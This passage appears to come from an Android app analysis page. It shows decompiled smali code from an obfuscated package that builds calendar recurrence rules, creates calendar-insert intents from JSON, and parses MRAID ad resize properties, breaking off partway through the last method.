  • java.lang.StringBuilder.toString
  • java.lang.Exception.printStackTrace
Strings
  • FREQ=
  • ;
  • INTERVAL=
  • UNTIL=
  • BYDAY=
  • BYMONTHDAY=
  • BYYEARDAY=
  • BYWEEKNO=
  • BYMONTH=
  • Rrule:
Position Instruction Meta Information
0.prologue
1new-instance v0, Ljava/lang/StringBuilder;
3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
4try_start_5:
5iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String;
6if-eqz v2, :cond_31
8iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String;
10const-string v3, ""
12invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
13move-result v2
14if-nez v2, :cond_31
15new-instance v2, Ljava/lang/StringBuilder;
17invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
19const-string v3, "FREQ="
21invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: FREQ=
22move-result-object v2
24iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->frequency:Ljava/lang/String;
26invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v2
29const-string v3, ";"
31invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
32move-result-object v2
34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v2
37invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38cond_31: iget-short v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S
39if-eqz v2, :cond_53
40new-instance v2, Ljava/lang/StringBuilder;
42invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
44const-string v3, "INTERVAL="
46invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTERVAL=
47move-result-object v2
48iget-short v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->interval:S
50invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
51move-result-object v2
53const-string v3, ";"
55invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
56move-result-object v2
58invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59move-result-object v2
61invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
62cond_53:
63iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String;
64if-eqz v2, :cond_83
66iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String;
68const-string v3, ""
70invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
71move-result v2
72if-nez v2, :cond_83
73new-instance v2, Ljava/lang/StringBuilder;
75invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
77const-string v3, "UNTIL="
79invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: UNTIL=
80move-result-object v2
82iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->expires:Ljava/lang/String;
84invoke-virtual {p0, v3}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getDate(Ljava/lang/String;)Ljava/lang/String;
85move-result-object v3
87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v2
90const-string v3, ";"
92invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
93move-result-object v2
95invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
96move-result-object v2
98invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
99cond_83:
100iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S
101if-eqz v2, :cond_a9
102new-instance v2, Ljava/lang/StringBuilder;
104invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
106const-string v3, "BYDAY="
108invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BYDAY=
109move-result-object v2
111iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInWeek:[S
113invoke-virtual {p0, v3}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getDate([S)Ljava/lang/String;
114move-result-object v3
116invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
117move-result-object v2
119const-string v3, ";"
121invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
122move-result-object v2
124invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
125move-result-object v2
127invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
128cond_a9:
129iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S
130if-eqz v2, :cond_cb
131new-instance v2, Ljava/lang/StringBuilder;
133invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
135const-string v3, "BYMONTHDAY="
137invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BYMONTHDAY=
138move-result-object v2
140iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInMonth:[S
142invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
143move-result-object v2
145const-string v3, ";"
147invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
148move-result-object v2
150invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
151move-result-object v2
153invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
154cond_cb:
155iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S
156if-eqz v2, :cond_ed
157new-instance v2, Ljava/lang/StringBuilder;
159invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
161const-string v3, "BYYEARDAY="
163invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BYYEARDAY=
164move-result-object v2
166iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->daysInYear:[S
168invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
169move-result-object v2
171const-string v3, ";"
173invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
174move-result-object v2
176invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
177move-result-object v2
179invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
180cond_ed:
181iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S
182if-eqz v2, :cond_10f
183new-instance v2, Ljava/lang/StringBuilder;
185invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
187const-string v3, "BYWEEKNO="
189invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BYWEEKNO=
190move-result-object v2
192iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->weeksInMonth:[S
194invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
195move-result-object v2
197const-string v3, ";"
199invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
200move-result-object v2
202invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
203move-result-object v2
205invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
206cond_10f:
207iget-object v2, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S
208if-eqz v2, :cond_131
209new-instance v2, Ljava/lang/StringBuilder;
211invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
213const-string v3, "BYMONTH="
215invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: BYMONTH=
216move-result-object v2
218iget-object v3, p0, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->monthsInYear:[S
220invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
221move-result-object v2
223const-string v3, ";"
225invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
226move-result-object v2
228invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
229move-result-object v2
231invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
232cond_131: new-instance v2, Ljava/lang/StringBuilder;
234invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
236const-string v3, "Rrule: "
238invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Rrule:
239move-result-object v2
241invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
242move-result-object v3
244invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
245move-result-object v2
247invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
248move-result-object v2
250invoke-static {v2}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
251goto_14b:
252invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
253move-result-object v2
254return-object v2
255catch_150: move-exception v1
257invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
258goto/16 :goto_14b
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.setType
  • android.content.Intent.putExtra
  • java.lang.String.equals
  • android.content.Intent.putExtra
  • java.lang.String.startsWith
  • android.content.Intent.putExtra
  • android.app.Activity.startActivityForResult
  • org.json.JSONObject.getString
  • android.content.Intent.putExtra
  • java.lang.Exception.printStackTrace
Strings
  • id
  • summary
  • location
  • description
  • start
  • end
  • status
  • transparency
  • reminder
  • recurrence
  • android.intent.action.INSERT
  • android.intent.action.EDIT
  • vnd.android.cursor.item/event
  • calendar_id
  • title
  • eventLocation
  • beginTime
  • endTime
  • eventStatus
  • rrule
  • exdate
  • event_id
  • method
  • -
  • minutes
Position Instruction Meta Information
0.param p0, "activity" # Landroid/app/Activity;
1.param p1, "jsonString" # Ljava/lang/String;
2.annotation build Landroid/annotation/TargetApi;
3value = 0xe
4.end annotation
5.annotation system Ldalvik/annotation/Throws;
6value = {
7Landroid/content/ActivityNotFoundException;,
8Ljava/lang/Exception;
9}
10.end annotation
11.prologue
12new-instance v9, Lorg/json/JSONObject;
13move-object/from16 v0, p1
15invoke-direct {v9, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
17const-string v18, "id"
18move-object/from16 v0, v18
20invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: id
21move-result v18
22if-eqz v18, :cond_136
24const-string v8, ""
25goto_13:
26const-string v18, "summary"
27move-object/from16 v0, v18
29invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: summary
30move-result v18
31if-eqz v18, :cond_140
33const-string v16, ""
34goto_1f:
35const-string v18, "location"
36move-object/from16 v0, v18
38invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: location
39move-result v18
40if-eqz v18, :cond_14a
42const-string v10, ""
43goto_2b:
44const-string v18, "description"
45move-object/from16 v0, v18
47invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: description
48move-result v18
49if-eqz v18, :cond_154
51const-string v5, ""
52goto_37:
53const-string v18, "start"
54move-object/from16 v0, v18
56invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: start
57move-result v18
58if-eqz v18, :cond_15e
60const-string v14, ""
61goto_43:
62const-string v18, "end"
63move-object/from16 v0, v18
65invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: end
66move-result v18
67if-eqz v18, :cond_168
69const-string v7, ""
70goto_4f:
71const-string v18, "status"
72move-object/from16 v0, v18
74invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
75move-result v18
76if-eqz v18, :cond_172
78const-string v15, ""
79goto_5b:
80const-string v18, "transparency"
81move-object/from16 v0, v18
83invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: transparency
84move-result v18
85if-eqz v18, :cond_17c
87const-string v17, ""
88goto_67:
89const-string v18, "reminder"
90move-object/from16 v0, v18
92invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: reminder
93move-result v18
94if-eqz v18, :cond_186
96const-string v13, ""
97goto_73:
98const-string v18, "recurrence"
99move-object/from16 v0, v18
101invoke-virtual {v9, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: recurrence
102move-result v18
103if-eqz v18, :cond_190
105const-string v12, ""
106goto_7f: new-instance v11, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;
108invoke-direct {v11, v12}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;-><init>(Ljava/lang/String;)V
109new-instance v4, Landroid/content/Intent;
111const-string v18, "android.intent.action.INSERT"
112move-object/from16 v0, v18
114invoke-direct {v4, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.INSERT
116const-string v18, "android.intent.action.EDIT"
117move-object/from16 v0, v18
119invoke-virtual {v4, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: android.intent.action.EDIT
121const-string v18, "vnd.android.cursor.item/event"
122move-object/from16 v0, v18
124invoke-virtual {v4, v0}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: vnd.android.cursor.item/event
126const-string v18, "calendar_id"
127move-object/from16 v0, v18
129invoke-virtual {v4, v0, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: calendar_id
131const-string v18, "title"
132move-object/from16 v0, v18
133move-object/from16 v1, v16
135invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: title
137const-string v18, "eventLocation"
138move-object/from16 v0, v18
140invoke-virtual {v4, v0, v10}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: eventLocation
142const-string v18, "description"
143move-object/from16 v0, v18
145invoke-virtual {v4, v0, v5}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: description
147const-string v18, "beginTime"
149invoke-static {v14}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J
150move-result-wide v20
151move-object/from16 v0, v18
152move-wide/from16 v1, v20
154invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent;
  • Data flow analysis:
    • p0: beginTime
156const-string v18, "endTime"
158invoke-static {v7}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J
159move-result-wide v20
160move-object/from16 v0, v18
161move-wide/from16 v1, v20
163invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent;
  • Data flow analysis:
    • p0: endTime
165const-string v18, "eventStatus"
166move-object/from16 v0, v18
168invoke-virtual {v4, v0, v15}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: eventStatus
170const-string v18, "transparency"
171move-object/from16 v0, v18
172move-object/from16 v1, v17
174invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: transparency
176const-string v18, "rrule"
178invoke-virtual {v11}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getRrule()Ljava/lang/String;
179move-result-object v19
180move-object/from16 v0, v18
181move-object/from16 v1, v19
183invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: rrule
185const-string v18, "exdate"
187invoke-virtual {v11}, Lcom/vxjxu/jkhfn1870/CalendarEvent$Recurrence;->getEXdate()Ljava/lang/String;
188move-result-object v19
189move-object/from16 v0, v18
190move-object/from16 v1, v19
192invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: exdate
193if-eqz v13, :cond_12c
194try_start_ff:
195const-string v18, ""
196move-object/from16 v0, v18
198invoke-virtual {v13, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
199move-result v18
200if-nez v18, :cond_12c
202const-string v18, "event_id"
203move-object/from16 v0, v18
205invoke-virtual {v4, v0, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: event_id
207const-string v18, "method"
208const/16 v19, 0x0
209move-object/from16 v0, v18
210move/from16 v1, v19
212invoke-virtual {v4, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: method
    • p1: 0
214const-string v18, "-"
215move-object/from16 v0, v18
217invoke-virtual {v13, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: -
218move-result v18
219if-eqz v18, :cond_19a
221const-string v18, "minutes"
222move-object/from16 v0, v18
224invoke-virtual {v4, v0, v13}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: minutes
225try_end_12c: const/16 v18, 0x7
226move-object/from16 v0, p0
227move/from16 v1, v18
229invoke-virtual {v0, v4, v1}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V
  • Data flow analysis:
    • requestCode: 7
230return-void
231cond_136:
232const-string v18, "id"
233move-object/from16 v0, v18
235invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: id
236move-result-object v8
237goto/16 :goto_13
238cond_140:
239const-string v18, "summary"
240move-object/from16 v0, v18
242invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: summary
243move-result-object v16
244goto/16 :goto_1f
245cond_14a:
246const-string v18, "location"
247move-object/from16 v0, v18
249invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: location
250move-result-object v10
251goto/16 :goto_2b
252cond_154:
253const-string v18, "description"
254move-object/from16 v0, v18
256invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: description
257move-result-object v5
258goto/16 :goto_37
259cond_15e:
260const-string v18, "start"
261move-object/from16 v0, v18
263invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: start
264move-result-object v14
265goto/16 :goto_43
266cond_168:
267const-string v18, "end"
268move-object/from16 v0, v18
270invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: end
271move-result-object v7
272goto/16 :goto_4f
273cond_172:
274const-string v18, "status"
275move-object/from16 v0, v18
277invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: status
278move-result-object v15
279goto/16 :goto_5b
280cond_17c:
281const-string v18, "transparency"
282move-object/from16 v0, v18
284invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: transparency
285move-result-object v17
286goto/16 :goto_67
287cond_186:
288const-string v18, "reminder"
289move-object/from16 v0, v18
291invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: reminder
292move-result-object v13
293goto/16 :goto_73
294cond_190:
295const-string v18, "recurrence"
296move-object/from16 v0, v18
298invoke-virtual {v9, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: recurrence
299move-result-object v12
300goto/16 :goto_7f
301try_start_19a:
302const-string v18, "minutes"
304invoke-static {v13}, Lcom/vxjxu/jkhfn1870/CalendarEvent;->convertUTC(Ljava/lang/String;)J
305move-result-wide v20
306move-object/from16 v0, v18
307move-wide/from16 v1, v20
309invoke-virtual {v4, v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;J)Landroid/content/Intent;
  • Data flow analysis:
    • p0: minutes
310try_end_1a7: goto/16 :goto_12c
311catch_1a8: move-exception v6
313invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V
314goto/16 :goto_12c
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.clearView
  • java.lang.String.equals
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • com.vxjxu.jkhfn1870.MraidView.checkSizeParams
  • com.vxjxu.jkhfn1870.MraidView.getRootView
  • android.view.View.findViewById
  • android.widget.FrameLayout$LayoutParams.<init>
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.view.View.<init>
  • com.vxjxu.jkhfn1870.MraidView.getLayoutParams
  • android.view.View.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.widget.FrameLayout.<init>
  • android.widget.FrameLayout$LayoutParams.<init>
  • android.widget.FrameLayout.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.getParent
  • android.view.ViewGroup.getChildCount
  • android.view.ViewGroup.getChildAt
  • com.vxjxu.jkhfn1870.MraidView.setLayoutParams
  • android.view.ViewGroup.removeView
  • android.widget.FrameLayout.addView
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.widget.LinearLayout.<init>
  • android.widget.FrameLayout$LayoutParams.<init>
  • android.widget.LinearLayout.setLayoutParams
  • android.widget.LinearLayout.setGravity
  • android.widget.FrameLayout.addView
  • android.view.ViewGroup.addView
  • android.view.ViewGroup.setVisibility
  • com.vxjxu.jkhfn1870.MraidView.setState
  • com.vxjxu.jkhfn1870.MraidView.triggerEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • org.json.JSONObject.getInt
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • org.json.JSONObject.getInt
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getBoolean
  • java.lang.Exception.getMessage
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • java.lang.Exception.printStackTrace
Strings
  • width
  • height
  • customClosePosition
  • top-right
  • offsetX
  • offsetY
  • allowOffscreen
  • resized
  • sizeChange
  • 95
  • resize
  • Error occured while parsing resizeProperties data.
  • 89
Position Instruction Meta Information
0.prologue
1move-object/from16 v0, p0
3iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
4move-object/from16 v21, v0
5move-object/from16 v0, v21
6iget v0, v0, Landroid/util/DisplayMetrics;->widthPixels:I
7move/from16 v20, v0
8move-object/from16 v0, p0
10iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
11move-object/from16 v21, v0
12move-object/from16 v0, v21
13iget v11, v0, Landroid/util/DisplayMetrics;->heightPixels:I
14const/16 v16, 0x0
15const/16 v17, 0x0
16const/4 v4, 0x1
17const/16 v5, 0x35
18try_start_1d:
19invoke-virtual/range {p0 .. p0}, Lcom/vxjxu/jkhfn1870/MraidView;->clearView()V
20move-object/from16 v0, p0
22iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
23move-object/from16 v21, v0
24if-eqz v21, :cond_b0
25move-object/from16 v0, p0
27iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
28move-object/from16 v21, v0
30invoke-virtual/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getResizeProperties()Ljava/lang/String;
31move-result-object v21
33const-string v22, ""
35invoke-virtual/range {v21 .. v22}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
36try_end_37: move-result v21
37if-nez v21, :cond_b0
38try_start_3a: new-instance v13, Lorg/json/JSONObject;
39move-object/from16 v0, p0
41iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
42move-object/from16 v21, v0
44invoke-virtual/range {v21 .. v21}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getResizeProperties()Ljava/lang/String;
45move-result-object v21
46move-object/from16 v0, v21
48invoke-direct {v13, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
50const-string v21, "width"
51move-object/from16 v0, v21
53invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: width
54move-result v21
55if-eqz v21, :cond_221
56move-object/from16 v0, p0
58iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
59move-object/from16 v21, v0
60move-object/from16 v0, v21
61iget v0, v0, Landroid/util/DisplayMetrics;->widthPixels:I
62move/from16 v20, v0
63goto_61:
64const-string v21, "height"
65move-object/from16 v0, v21
67invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: height
68move-result v21
69if-eqz v21, :cond_23d
70move-object/from16 v0, p0
72iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
73move-object/from16 v21, v0
74move-object/from16 v0, v21
75iget v11, v0, Landroid/util/DisplayMetrics;->heightPixels:I
76goto_75:
77const-string v21, "customClosePosition"
78move-object/from16 v0, v21
80invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: customClosePosition
81move-result v21
82if-eqz v21, :cond_257
84const-string v9, "top-right"
85goto_81:
86const-string v21, "offsetX"
87move-object/from16 v0, v21
89invoke-virtual {v13, v0}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
